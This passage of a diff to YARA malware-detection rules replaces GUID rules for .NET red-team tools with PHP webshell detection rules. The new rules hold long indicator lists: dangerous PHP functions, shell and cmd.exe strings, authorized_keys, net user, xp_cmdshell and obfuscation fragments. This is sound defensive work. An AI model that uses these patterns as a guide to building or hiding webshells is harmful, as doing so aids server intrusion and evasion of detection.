+		hash = "9e856f5cb7cb901b5003e57c528a6298341d04dc"
+		hash = "b3b0274cda28292813096a5a7a3f5f77378b8905205bda7bb7e1a679a7845004"
+		logic_hash = "e1efb6384009def30d845650fd0dd77319c3c7b4402cca074ca5c2a06372ab58"
 		score = 75
-		quality = 83
+		quality = 42
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "619b7612-dfea-442a-a927-d997f99c497b" ascii wide
-		$typelibguid0up = "619B7612-DFEA-442A-A927-D997F99C497B" ascii wide
-		$typelibguid1lo = "424b81be-2fac-419f-b4bc-00ccbe38491f" ascii wide
-		$typelibguid1up = "424B81BE-2FAC-419F-B4BC-00CCBE38491F" ascii wide
-		$typelibguid2lo = "37e20baf-3577-4cd9-bb39-18675854e255" ascii wide
-		$typelibguid2up = "37E20BAF-3577-4CD9-BB39-18675854E255" ascii wide
-		$typelibguid3lo = "dafe686a-461b-402b-bbd7-2a2f4c87c773" ascii wide
-		$typelibguid3up = "DAFE686A-461B-402B-BBD7-2A2F4C87C773" ascii wide
-		$typelibguid4lo = "ee03faa9-c9e8-4766-bd4e-5cd54c7f13d3" ascii wide
-		$typelibguid4up = "EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3" ascii wide
-		$typelibguid5lo = "8bfc8ed2-71cc-49dc-9020-2c8199bc27b6" ascii wide
-		$typelibguid5up = "8BFC8ED2-71CC-49DC-9020-2C8199BC27B6" ascii wide
-		$typelibguid6lo = "d640c36b-2c66-449b-a145-eb98322a67c8" ascii wide
-		$typelibguid6up = "D640C36B-2C66-449B-A145-EB98322A67C8" ascii wide
-		$typelibguid7lo = "8de42da3-be99-4e7e-a3d2-3f65e7c1abce" ascii wide
-		$typelibguid7up = "8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE" ascii wide
-		$typelibguid8lo = "bee88186-769a-452c-9dd9-d0e0815d92bf" ascii wide
-		$typelibguid8up = "BEE88186-769A-452C-9DD9-D0E0815D92BF" ascii wide
-		$typelibguid9lo = "9042b543-13d1-42b3-a5b6-5cc9ad55e150" ascii wide
-		$typelibguid9up = "9042B543-13D1-42B3-A5B6-5CC9AD55E150" ascii wide
-		$typelibguid10lo = "6aa4e392-aaaf-4408-b550-85863dd4baaf" ascii wide
-		$typelibguid10up = "6AA4E392-AAAF-4408-B550-85863DD4BAAF" ascii wide
+		$php_include1 = /include\(\$_(GET|POST|REQUEST)\[/ nocase wide ascii
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100 and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and any of ($php_include*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Darkfender : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_Dynamic : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "PHP webshell using function name from variable, e.g. $a='ev'.'al'; $a($code)"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "0aea5e05-7788-5581-8bcc-d2e75a291dd9"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/0xyg3n/DarkFender"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2423-L2437"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "97cc537dca2f8559edf7ca44124a2056194aceee9327fa097674bccdeb0316df"
-		score = 75
-		quality = 85
+		id = "58ad94bc-93c8-509c-9d3a-c9a26538d60c"
+		date = "2021-01-13"
+		modified = "2023-10-06"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L1944-L2016"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "65dca1e652d09514e9c9b2e0004629d03ab3c3ef"
+		hash = "b8ab38dc75cec26ce3d3a91cb2951d7cdd004838"
+		hash = "c4765e81550b476976604d01c20e3dbd415366df"
+		hash = "2e11ba2d06ebe0aa818e38e24a8a83eebbaae8877c10b704af01bf2977701e73"
+		logic_hash = "5eb0a574852163008d7bd9bd4822248fdc6bd333bc38715201ea346e07a2e75c"
+		score = 60
+		quality = -131
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "12fdf7ce-4a7c-41b6-9b32-766ddd299beb" ascii wide
-		$typelibguid0up = "12FDF7CE-4A7C-41B6-9B32-766DDD299BEB" ascii wide
+		$pd_fp1 = "whoops_add_stack_frame" wide ascii
+		$pd_fp2 = "new $ec($code, $mode, $options, $userinfo);" wide ascii
+		$pd_fp3 = "($i)] = 600;" ascii
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
+		$dynamic1 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(\$/ wide ascii
+		$dynamic2 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\("/ wide ascii
+		$dynamic3 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\('/ wide ascii
+		$dynamic4 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(str/ wide ascii
+		$dynamic5 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(\)/ wide ascii
+		$dynamic6 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(@/ wide ascii
+		$dynamic7 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(base64_decode/ wide ascii
+		$dynamic8 = /\$\{[^}]{1,20}}(\[[^\]]{1,20}\])?\(\$\{/ wide ascii
+		$fp1 = { 3C 3F 70 68 70 0A 0A 24 61 28 24 62 20 3D 20 33 2C 20 24 63 29 3B }
+		$fp2 = { 3C 3F 70 68 70 0A 0A 24 61 28 24 62 20 3D 20 33 2C 20 2E 2E 2E 20 24 63 29 3B }
+		$fp3 = { 3C 3F 70 68 70 0A 0A 24 61 20 3D 20 6E 65 77 20 73 74 61 74 69 63 3A 3A 24 62 28 29 3B}
+		$fp4 = { 3C 3F 70 68 70 0A 0A 24 61 20 3D 20 6E 65 77 20 73 65 6C 66 3A 3A 24 62 28 29 3B }
+		$fp5 = { 3C 3F 70 68 70 0A 0A 24 61 20 3D 20 5C 22 7B 24 76 61 72 43 61 6C 6C 61 62 6C 65 28 29 7D 5C 22 3B }
+		$fp6 = "// TODO error about missing expression"
+		$fp7 = "// This is an invalid location for an attribute, "
+		$fp8 = "/* Auto-generated from php/php-langspec tests */"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize >20 and filesize <200 and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and ( any of ($dynamic*)) and not any of ($pd_fp*) and not 1 of ($fp*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Minerdropper : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_Dynamic_Big : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "607f72df-b0c1-53df-bf2c-592f55cbfcb7"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/DylanAlloy/MinerDropper"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2459-L2475"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ce050b7dd0a9bae5737f5170a8656f737754e6c96e64bca2ceab9b030c4cdddb"
-		score = 75
-		quality = 85
+		id = "a5caab93-7b94-59d7-bbca-f9863e81b9e5"
+		date = "2021-02-07"
+		modified = "2024-02-23"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L2018-L2335"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6559bfc4be43a55c6bb2bd867b4c9b929713d3f7f6de8111a3c330f87a9b302c"
+		hash = "9e82c9c2fa64e26fd55aa18f74759454d89f968068d46b255bd4f41eb556112e"
+		hash = "6def5296f95e191a9c7f64f7d8ac5c529d4a4347ae484775965442162345dc93"
+		hash = "dadfdc4041caa37166db80838e572d091bb153815a306c8be0d66c9851b98c10"
+		hash = "0a4a292f6e08479c04e5c4fdc3857eee72efa5cd39db52e4a6e405bf039928bd"
+		hash = "4326d10059e97809fb1903eb96fd9152cc72c376913771f59fa674a3f110679e"
+		hash = "b49d0f942a38a33d2b655b1c32ac44f19ed844c2479bad6e540f69b807dd3022"
+		hash = "575edeb905b434a3b35732654eedd3afae81e7d99ca35848c509177aa9bf9eef"
+		hash = "ee34d62e136a04e2eaf84b8daa12c9f2233a366af83081a38c3c973ab5e2c40f"
+		logic_hash = "9e033789ab2f3d28bf48d8102edf51daf84a1d61d50cd59f3810be7c07a8e8d9"
+		score = 50
+		quality = -386
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "46a7af83-1da7-40b2-9d86-6fd6223f6791" ascii wide
-		$typelibguid0up = "46A7AF83-1DA7-40B2-9D86-6FD6223F6791" ascii wide
-		$typelibguid1lo = "8433a693-f39d-451b-955b-31c3e7fa6825" ascii wide
-		$typelibguid1up = "8433A693-F39D-451B-955B-31C3E7FA6825" ascii wide
+		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
+		$pack = { 50 41 43 4b 00 00 00 02 00 }
+		$new_php2 = "<?php" nocase wide ascii
+		$new_php3 = "<script language=\"php" nocase wide ascii
+		$php_short = "<?"
+		$dynamic1 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(\$/ wide ascii
+		$dynamic2 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\("/ wide ascii
+		$dynamic3 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\('/ wide ascii
+		$dynamic4 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(str/ wide ascii
+		$dynamic5 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(\)/ wide ascii
+		$dynamic6 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(@/ wide ascii
+		$dynamic7 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(base64_decode/ wide ascii
+		$dynamic8 = "eval(" wide ascii
+		$gen_bit_sus1 = /:\s{0,20}eval}/ nocase wide ascii
+		$gen_bit_sus2 = /\.replace\(\/\w\/g/ nocase wide ascii
+		$gen_bit_sus6 = "self.delete"
+		$gen_bit_sus9 = "\"cmd /c" nocase
+		$gen_bit_sus10 = "\"cmd\"" nocase
+		$gen_bit_sus11 = "\"cmd.exe" nocase
+		$gen_bit_sus12 = "%comspec%" wide ascii
+		$gen_bit_sus13 = "%COMSPEC%" wide ascii
+		$gen_bit_sus18 = "Hklm.GetValueNames();" nocase
+		$gen_bit_sus19 = "http://schemas.microsoft.com/exchange/" wide ascii
+		$gen_bit_sus21 = "\"upload\"" wide ascii
+		$gen_bit_sus22 = "\"Upload\"" wide ascii
+		$gen_bit_sus23 = "UPLOAD" fullword wide ascii
+		$gen_bit_sus24 = "fileupload" wide ascii
+		$gen_bit_sus25 = "file_upload" wide ascii
+		$gen_bit_sus27 = "zuncomp" wide ascii
+		$gen_bit_sus28 = "ase6" wide ascii
+		$gen_bit_sus29 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" fullword wide ascii
+		$gen_bit_sus29b = "abcdefghijklmnopqrstuvwxyz234567" fullword wide ascii
+		$gen_bit_sus30 = "serv-u" wide ascii
+		$gen_bit_sus31 = "Serv-u" wide ascii
+		$gen_bit_sus32 = "Army" fullword wide ascii
+		$gen_bit_sus33 = /\$_(GET|POST|REQUEST)\["\w"\]/ fullword wide ascii
+		$gen_bit_sus34 = "Content-Transfer-Encoding: Binary" wide ascii
+		$gen_bit_sus35 = "crack" fullword wide ascii
+		$gen_bit_sus44 = "<pre>" wide ascii
+		$gen_bit_sus45 = "<PRE>" wide ascii
+		$gen_bit_sus46 = "shell_" wide ascii
+		$gen_bit_sus50 = "bypass" wide ascii
+		$gen_bit_sus52 = " ^ $" wide ascii
+		$gen_bit_sus53 = ".ssh/authorized_keys" wide ascii
+		$gen_bit_sus55 = /\w'\.'\w/ wide ascii
+		$gen_bit_sus56 = /\w\"\.\"\w/ wide ascii
+		$gen_bit_sus57 = "dumper" wide ascii
+		$gen_bit_sus59 = "'cmd'" wide ascii
+		$gen_bit_sus60 = "\"execute\"" wide ascii
+		$gen_bit_sus61 = "/bin/sh" wide ascii
+		$gen_bit_sus62 = "Cyber" wide ascii
+		$gen_bit_sus63 = "portscan" fullword wide ascii
+		$gen_bit_sus65 = "whoami" fullword wide ascii
+		$gen_bit_sus67 = "$password='" fullword wide ascii
+		$gen_bit_sus68 = "$password=\"" fullword wide ascii
+		$gen_bit_sus69 = "$cmd" fullword wide ascii
+		$gen_bit_sus70 = "\"?>\"." fullword wide ascii
+		$gen_bit_sus71 = "Hacking" fullword wide ascii
+		$gen_bit_sus72 = "hacking" fullword wide ascii
+		$gen_bit_sus73 = ".htpasswd" wide ascii
+		$gen_bit_sus74 = /\btouch\(\$[^,]{1,30},/ wide ascii
+		$gen_bit_sus99 = "$password = " wide ascii
+		$gen_bit_sus100 = "();$" wide ascii
+		$gen_much_sus7 = "Web Shell" nocase
+		$gen_much_sus8 = "WebShell" nocase
+		$gen_much_sus3 = "hidded shell"
+		$gen_much_sus4 = "WScript.Shell.1" nocase
+		$gen_much_sus5 = "AspExec"
+		$gen_much_sus14 = "\\pcAnywhere\\" nocase
+		$gen_much_sus15 = "antivirus" nocase
+		$gen_much_sus16 = "McAfee" nocase
+		$gen_much_sus17 = "nishang"
+		$gen_much_sus18 = "\"unsafe" fullword wide ascii
+		$gen_much_sus19 = "'unsafe" fullword wide ascii
+		$gen_much_sus24 = "exploit" fullword wide ascii
+		$gen_much_sus25 = "Exploit" fullword wide ascii
+		$gen_much_sus26 = "TVqQAAMAAA" wide ascii
+		$gen_much_sus30 = "Hacker" wide ascii
+		$gen_much_sus31 = "HACKED" fullword wide ascii
+		$gen_much_sus32 = "hacked" fullword wide ascii
+		$gen_much_sus33 = "hacker" wide ascii
+		$gen_much_sus34 = "grayhat" nocase wide ascii
+		$gen_much_sus35 = "Microsoft FrontPage" wide ascii
+		$gen_much_sus36 = "Rootkit" wide ascii
+		$gen_much_sus37 = "rootkit" wide ascii
+		$gen_much_sus38 = "/*-/*-*/" wide ascii
+		$gen_much_sus39 = "u\"+\"n\"+\"s" wide ascii
+		$gen_much_sus40 = "\"e\"+\"v" wide ascii
+		$gen_much_sus41 = "a\"+\"l\"" wide ascii
+		$gen_much_sus42 = "\"+\"(\"+\"" wide ascii
+		$gen_much_sus43 = "q\"+\"u\"" wide ascii
+		$gen_much_sus44 = "\"u\"+\"e" wide ascii
+		$gen_much_sus45 = "/*//*/" wide ascii
+		$gen_much_sus46 = "(\"/*/\"" wide ascii
+		$gen_much_sus47 = "eval(eval(" wide ascii
+		$gen_much_sus48 = "unlink(__FILE__)" wide ascii
+		$gen_much_sus49 = "Shell.Users" wide ascii
+		$gen_much_sus50 = "PasswordType=Regular" wide ascii
+		$gen_much_sus51 = "-Expire=0" wide ascii
+		$gen_much_sus60 = "_=$$_" wide ascii
+		$gen_much_sus61 = "_=$$_" wide ascii
+		$gen_much_sus62 = "++;$" wide ascii
+		$gen_much_sus63 = "++; $" wide ascii
+		$gen_much_sus64 = "_.=$_" wide ascii
+		$gen_much_sus70 = "-perm -04000" wide ascii
+		$gen_much_sus71 = "-perm -02000" wide ascii
+		$gen_much_sus72 = "grep -li password" wide ascii
+		$gen_much_sus73 = "-name config.inc.php" wide ascii
+		$gen_much_sus75 = "password crack" wide ascii
+		$gen_much_sus76 = "mysqlDll.dll" wide ascii
+		$gen_much_sus77 = "net user" wide ascii
+		$gen_much_sus80 = "fopen(\".htaccess\",\"w" wide ascii
+		$gen_much_sus81 = /strrev\(['"]/ wide ascii
+		$gen_much_sus82 = "PHPShell" fullword wide ascii
+		$gen_much_sus821 = "PHP Shell" fullword wide ascii
+		$gen_much_sus83 = "phpshell" fullword wide ascii
+		$gen_much_sus84 = "PHPshell" fullword wide ascii
+		$gen_much_sus87 = "deface" wide ascii
+		$gen_much_sus88 = "Deface" wide ascii
+		$gen_much_sus89 = "backdoor" wide ascii
+		$gen_much_sus90 = "r00t" fullword wide ascii
+		$gen_much_sus91 = "xp_cmdshell" fullword wide ascii
+		$gen_much_sus92 = "DEFACE" fullword wide ascii
+		$gen_much_sus93 = "Bypass" fullword wide ascii
+		$gen_much_sus94 = /eval\s{2,20}\(/ nocase wide ascii
+		$gen_much_sus100 = "rot13" wide ascii
+		$gen_much_sus101 = "ini_set('error_log'" wide ascii
+		$gen_much_sus102 = "base64_decode(base64_decode(" wide ascii
+		$gen_much_sus103 = "=$_COOKIE;" wide ascii
+		$gen_much_sus104 = { C0 A6 7B 3? 7D 2E 24 }
+		$gen_much_sus105 = "$GLOBALS[\"__" wide ascii
+		$gen_much_sus106 = ")-0)" wide ascii
+		$gen_much_sus107 = "-0)+" wide ascii
+		$gen_much_sus108 = "+0)+" wide ascii
+		$gen_much_sus109 = "+(0/" wide ascii
+		$gen_much_sus110 = "+(0+" wide ascii
+		$gen_much_sus111 = "extract($_REQUEST)" wide ascii
+		$gen_much_sus112 = "<?php\t\t\t\t\t\t\t\t\t\t\t" wide ascii
+		$gen_much_sus113 = "\t\t\t\t\t\t\t\t\t\t\textract" wide ascii
+		$gen_much_sus114 = "\" .\"" wide ascii
+		$gen_much_sus115 = "end($_POST" wide ascii
+		$weevely1 = /';\n\$\w\s?=\s?'/ wide ascii
+		$weevely2 = /';\x0d\n\$\w\s?=\s?'/ wide ascii
+		$weevely3 = /';\$\w{1,2}='/ wide ascii
+		$weevely4 = "str_replace" fullword wide ascii
+		$gif = { 47 49 46 38 }
+		$fp1 = "# Some examples from obfuscated malware:" ascii
+		$fp2 = "* @package   PHP_CodeSniffer" ascii
+		$fp3 = ".jQuery===" ascii
+		$fp4 = "* @param string $lstat encoded LStat string" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		not ( uint16(0)==0x5a4d or uint32be(0)==0x3c3f786d or uint32be(0)==0x3c3f584d or $dex at 0 or $pack at 0 or uint16(0)==0x4b50 or 1 of ($fp*)) and ( any of ($new_php*) or $php_short at 0) and ( any of ($dynamic*)) and ($gif at 0 or (( filesize <1KB and (1 of ($gen_much_sus*))) or ( filesize <2KB and ((#weevely1+#weevely2+#weevely3)>2 and #weevely4>1)) or ( filesize <4000 and (1 of ($gen_much_sus*) or 2 of ($gen_bit_sus*))) or ( filesize <20KB and (2 of ($gen_much_sus*) or 4 of ($gen_bit_sus*))) or ( filesize <50KB and (3 of ($gen_much_sus*) or 5 of ($gen_bit_sus*))) or ( filesize <100KB and (3 of ($gen_much_sus*) or 6 of ($gen_bit_sus*))) or ( filesize <160KB and (3 of ($gen_much_sus*) or 7 of ($gen_bit_sus*) or (math.deviation(500, filesize -500,89.0)>70))) or ( filesize <500KB and (4 of ($gen_much_sus*) or 8 of ($gen_bit_sus*) or #gen_much_sus104>4))) or ( filesize >2KB and filesize <1MB and ((math.entropy(500, filesize -500)>=5.7 and math.mean(500, filesize -500)>80 and math.deviation(500, filesize -500,89.0)<23) or (math.entropy(500, filesize -500)>=7.7 and math.mean(500, filesize -500)>120 and math.mean(500, filesize -500)<136 and math.deviation(500, filesize -500,89.0)>65))))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpdomainspray : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_Encoded_Big : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "PHP webshell using some kind of eval with encoded blob to decode"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "cffd3350-4a86-5035-ab15-adbc3ac2a0e9"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/HunnicCyber/SharpDomainSpray"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2477-L2491"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cb8bbeebe23a1e9e77fae170f2742aa0aabfb88436f91dc78f94cc1bef70b2dd"
-		score = 75
-		quality = 85
+		id = "c3bb7b8b-c554-5802-8955-c83722498f8b"
+		date = "2021-02-07"
+		modified = "2024-03-11"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L2337-L2424"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1d4b374d284c12db881ba42ee63ebce2759e0b14"
+		hash = "fc0086caee0a2cd20609a05a6253e23b5e3245b8"
+		hash = "b15b073801067429a93e116af1147a21b928b215"
+		hash = "74c92f29cf15de34b8866db4b40748243fb938b4"
+		hash = "042245ee0c54996608ff8f442c8bafb8"
+		logic_hash = "bbd6c1056d852ecae44d3abdb4a8386a62e985794f34037c4aa5fe7e1f4f3a72"
+		score = 50
+		quality = -129
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "76ffa92b-429b-4865-970d-4e7678ac34ea" ascii wide
-		$typelibguid0up = "76FFA92B-429B-4865-970D-4E7678AC34EA" ascii wide
+		$new_php1 = /<\?=[\w\s@$]/ wide ascii
+		$new_php2 = "<?php" nocase wide ascii
+		$new_php3 = "<script language=\"php" nocase wide ascii
+		$php_short = "<?"
+		$cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
+		$cpayload10 = /\bpreg_replace[\n\t ]{0,500}\([^\)]{1,100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
+		$cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+		$cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+		$cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
+		$m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
+		$m_cpayload_preg_filter2 = "'|.*|e'" nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <1000KB and ( any of ($new_php*) or $php_short at 0) and ( any of ($cpayload*) or all of ($m_cpayload_preg_filter*)) and ( filesize >2KB and (math.entropy(500, filesize -500)>=5.7 and math.mean(500, filesize -500)>80 and math.deviation(500, filesize -500,89.0)<24) or (math.entropy(500, filesize -500)>=7.7 and math.mean(500, filesize -500)>120 and math.mean(500, filesize -500)<136 and math.deviation(500, filesize -500,89.0)>65))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Ispykeylogger : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_Generic_Backticks : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Generic PHP webshell which uses backticks directly on user input"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "8607de67-b472-5afc-b2b9-cc758b5ec474"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/mwsrc/iSpyKeylogger"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2493-L2513"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a323adff7a71022a88c0ea1d2d7ddba14f3cefab50c431c2972165ae412f2565"
+		id = "b2f1d8d0-8668-5641-8ce9-c8dd71f51f58"
+		date = "2021-01-07"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L2426-L2474"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "339f32c883f6175233f0d1a30510caa52fdcaa37"
+		hash = "8db86ad90883cd208cf86acd45e67c03f994998804441705d690cb6526614d00"
+		hash = "af987b0eade03672c30c095cee0c7c00b663e4b3c6782615fb7e430e4a7d1d75"
+		hash = "67339f9e70a17af16cf51686918cbe1c0604e129950129f67fe445eaff4b4b82"
+		hash = "144e242a9b219c5570973ca26d03e82e9fbe7ba2773305d1713288ae3540b4ad"
+		hash = "8db86ad90883cd208cf86acd45e67c03f994998804441705d690cb6526614d00"
+		logic_hash = "faa064686a5632788497d0300ba017c3e564f3b70f07a01f2e49bf7c934feb28"
 		score = 75
-		quality = 85
+		quality = 44
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "ccc0a386-c4ce-42ef-aaea-b2af7eff4ad8" ascii wide
-		$typelibguid0up = "CCC0A386-C4CE-42EF-AAEA-B2AF7EFF4AD8" ascii wide
-		$typelibguid1lo = "816b8b90-2975-46d3-aac9-3c45b26437fa" ascii wide
-		$typelibguid1up = "816B8B90-2975-46D3-AAC9-3C45B26437FA" ascii wide
-		$typelibguid2lo = "279b5533-d3ac-438f-ba89-3fe9de2da263" ascii wide
-		$typelibguid2up = "279B5533-D3AC-438F-BA89-3FE9DE2DA263" ascii wide
-		$typelibguid3lo = "88d3dc02-2853-4bf0-b6dc-ad31f5135d26" ascii wide
